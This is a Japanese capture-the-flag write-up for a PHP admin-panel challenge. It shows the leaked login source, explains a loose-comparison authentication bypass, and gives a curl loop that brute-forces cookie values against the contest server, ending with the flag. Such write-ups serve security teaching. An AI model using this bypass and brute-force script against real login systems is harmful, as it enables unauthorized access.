web warmup

My admin panel

Points: 77
Solves: 74

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

URLにアクセスすると下図のページが表示されます。

1

login.php.bakファイルをダウンロードすると次のようになっています。cookieにotadmin変数をセットする必要があります。jsonの形式でhashにMD5の値を設定します。
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();
cookieに{"hash": "0123456789ABCDEF"}をセットしてアクセスしてみます。下図のようにヒントが表示されます。
2
0xC0とANDを取ると0~9のときは0が出力され、A~Fのときは64(0x40)が出力されます。また、PHPの!=の比較演算子の場合、数値と比較すると文字列が数値に変換されて比較されます。ヒントの頭3桁が000であるので0~999の数値をcookieにセットすることで一致させることができそうです。
以上を実行するシェルスクリプトを書きます
for i in `seq 0 999`
do
    echo $i
    out=`curl gameserver.zajebistyc.tf/admin/login.php -b "otadmin={\"hash\": $i"}`
    echo $out
    if [ "`echo $out | grep p4{`" ]; then break; fi
done
実行すると389のときにフラグが表示されます。
0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    78    0    78    0     0    120      0 --:--:-- --:--:-- --:--:--   120
I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400
(略)
389
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    58    0    58    0     0    160      0 --:--:-- --:--:-- --:--:--   160
Congratulations! p4{wtf_php_comparisons_how_do_they_work}
フラグは、
p4{wtf_php_comparisons_how_do_they_work}
です。